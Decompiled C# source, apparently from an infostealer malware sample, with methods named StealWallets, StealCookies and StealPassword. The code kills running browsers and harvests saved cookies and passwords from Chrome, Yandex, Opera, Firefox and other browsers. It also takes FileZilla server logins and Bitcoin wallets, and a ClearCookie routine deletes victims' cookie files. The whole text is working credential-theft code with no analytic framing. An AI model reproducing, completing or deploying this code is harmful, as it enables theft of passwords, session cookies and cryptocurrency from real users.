// Token: 0x06000127 RID: 295 RVA: 0x00006364 File Offset: 0x00004564 public Task <List <BitcoinWallet> > StealWallets() { return(Task.Factory.StartNew <List <BitcoinWallet> >(delegate { List <BitcoinWallet> result; try { result = StealHelper.GetWallets(); } catch { result = new List <BitcoinWallet>(); } return result; })); }
// Token: 0x06000129 RID: 297 RVA: 0x000063B8 File Offset: 0x000045B8 public Task <List <BrowserCookie> > StealCookies() { return(StealHelper.StealCookies()); }
// Token: 0x06000128 RID: 296 RVA: 0x000063A0 File Offset: 0x000045A0 public Task <UserLog> StealPassword() { return(StealHelper.StealPassword()); }
// Token: 0x0600011F RID: 287 RVA: 0x00006194 File Offset: 0x00004394 public Task <bool> ClearCookie() { return(Task.Factory.StartNew <bool>(delegate { bool result; try { List <BrowserCook> list = new List <BrowserCook> { new BrowserCook { BrowserName = "Chrome", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Yandex", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Kometa", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Amigo", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Torch", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Orbitum", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Opera", CookiePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies" } }, new BrowserCook { BrowserName = "Mozilla", CookiePaths = StealHelper.MozillaCookies() } }; List <BrowserCookie> list2 = new List <BrowserCookie>(); StealHelper.KillBrowsers(); foreach (BrowserCook browserCook in list) { foreach (string path in browserCook.CookiePaths) { try { bool flag = File.Exists(path); if (flag) { File.Delete(path); } } catch { } } } result = true; } catch { result = false; } return result; })); }
// Token: 0x06000149 RID: 329 RVA: 0x00007574 File Offset: 0x00005774 public static Task <List <BrowserCookie> > StealCookies() { return(Task.Factory.StartNew <List <BrowserCookie> >(delegate { List <BrowserCookie> result; try { List <BrowserCook> list = new List <BrowserCook> { new BrowserCook { BrowserName = "Chrome", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Yandex", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Kometa", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Amigo", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Torch", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Orbitum", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies" } }, new BrowserCook { BrowserName = "Opera", CookiePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies" } }, new BrowserCook { BrowserName = "Mozilla", CookiePaths = StealHelper.MozillaCookies() } }; List <BrowserCookie> list2 = new List <BrowserCookie>(); StealHelper.KillBrowsers(); foreach (BrowserCook browserCook in list) { foreach (string text in browserCook.CookiePaths) { try { bool flag = File.Exists(text); if (flag) { List <string> list3 = new List <string>(); bool flag2 = browserCook.BrowserName != "Mozilla"; if (flag2) { ChromeBased chromeBased = new ChromeBased(text); list3 = chromeBased.Cookies().ToList <string>(); bool flag3 = list3.Count != 0; if (flag3) { list2.Add(new BrowserCookie { FileName = "Cookie.txt", FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)), Browser = browserCook.BrowserName }); } } else { MozillaBased mozillaBased = new MozillaBased(text); list3 = mozillaBased.Cookies().ToList <string>(); bool flag4 = list3.Count != 0; if (flag4) { string str = text.Split(new char[] { '\\' })[text.Split(new char[] { '\\' }).Count <string>() - 2]; list2.Add(new BrowserCookie { FileName = str + "_Cookie.txt", FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)), Browser = browserCook.BrowserName }); } } } } catch { } } } result = list2; } catch { result = new List <BrowserCookie>(); } return result; })); }
// Token: 0x06000147 RID: 327 RVA: 0x00006E80 File Offset: 0x00005080 public static Task <UserLog> StealPassword() { return(Task.Factory.StartNew <UserLog>(delegate { UserLog result; try { List <Browser> list = new List <Browser> { new Browser { BrowserName = "Chrome", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Yandex", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Kometa", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Amigo", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Torch", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Orbitum", FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Login Data" } }, new Browser { BrowserName = "Opera", FilePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Login Data" } }, new Browser { BrowserName = "Mozilla", FilePaths = StealHelper.MozillaFiles() } }; UserLog userLog = new UserLog { Time = DateTime.Now, UserName = Environment.UserName, ListOfLogs = new List <PasswordContainer>() }; StealHelper.KillBrowsers(); foreach (Browser browser in list) { PasswordContainer passwordContainer = new PasswordContainer { Name = browser.BrowserName, ListOfLogs = new List <Log>() }; foreach (string text in browser.FilePaths) { try { bool flag = browser.BrowserName == "Mozilla"; if (flag) { passwordContainer.ListOfLogs.AddRange(new FireFox(text).GetPasswords()); break; } bool flag2 = File.Exists(text); if (flag2) { passwordContainer.ListOfLogs.AddRange(new Chrome(text).GetPasswords()); } } catch { } } userLog.ListOfLogs.Add(passwordContainer); } try { PasswordContainer passwordContainer2 = new PasswordContainer(); passwordContainer2.Name = "FileZilla"; passwordContainer2.ListOfLogs = new List <Log>(); try { bool flag3 = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml"); if (flag3) { using (FileStream fileStream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml", FileMode.Open)) { FileZilla3 fileZilla = (FileZilla3)StealHelper.dbFormat.Deserialize(fileStream); PasswordContainer passwordContainer3 = passwordContainer2; passwordContainer3.Name = passwordContainer3.Name + " " + fileZilla.Version; foreach (Server server in fileZilla.RecentServers.Server) { Log item = new Log { Login = server.User, URL = server.Host + Environment.NewLine + "Порт: " + server.Port, Password = server.Pass.Text + Environment.NewLine + "Метод шифрования: " + server.Pass.Encoding }; passwordContainer2.ListOfLogs.Add(item); } } } } catch (Exception ex) { } finally { userLog.ListOfLogs.Add(passwordContainer2); } } catch { } result = userLog; } catch { result = new UserLog(); } return result; })); }